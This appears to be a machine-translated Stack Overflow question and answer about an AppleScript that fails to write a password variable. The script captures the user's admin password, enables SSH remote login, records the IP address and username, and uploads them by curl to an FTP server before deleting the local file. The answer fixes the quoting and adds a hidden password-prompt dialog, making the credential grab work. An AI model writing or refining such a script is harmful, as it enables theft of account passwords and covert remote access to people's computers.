Applescript won';t发送pword变量

Applescript won';t发送pword变量,applescript,Applescript,我试图将3个变量传递给发送到服务器的文本文件,但其中一个变量(pword)未被发送 下面是我的代码: set pword to do shell script "echo" with administrator privileges ##Enable remote login do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of

我试图将3个变量传递给发送到服务器的文本文件,但其中一个变量(pword)未被发送

下面是我的代码:

    set pword to do shell script "echo" with administrator privileges

##Enable remote login
do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of (system info)) password pword with administrator privileges

##Get ip
set tIP to do shell script "ifconfig en0|grep 'inet '|cut -d ' ' -f 2"

##Get username
set userName to short user name of (system info)

##Create text file with user data
do shell script "echo " & tIP & userName & pword & ">> /Users/" & userName & "/Documents/tests.txt"

##Create path where user data is stored
set thePath to "/Users/" & userName & "/Documents/tests.txt"

##Send the data to the server
do shell script "curl -T " & thePath & " ftp://username:password@server"

##Delete the text file
do shell script "rm /Users/" & userName & "/Documents/tests.txt"
知道为什么只有用户名和提示被写入文本文件而不是pword吗


谢谢。

当您将资料发送到shell时,您必须对它们进行报价,以确保它们作为一个整体发送。。。如果它们有空间或其他东西,外壳会误认为它们是分开的,而不是整体的。所以我会试试这个

do shell script "echo " & quoted form of (tIP & userName & pword) & " >> " & quoted form of ("/Users/" & userName & "/Documents/tests.txt")

请注意,您的一些其他代码也将受益于“引用的形式”,以确保您的代码能够在将来得到验证。无论是否需要,使用此密码都是很好的编码实践。

要获得密码,您应该使用:

set pword to text returned of (display dialog "Enter Password:" default answer "" with hidden answer)
Bash很棒,但是除非你打算把整个事情变成一个Bash脚本(看起来你实际上已经完成了),否则你最好使用AppleScript的一些额外功能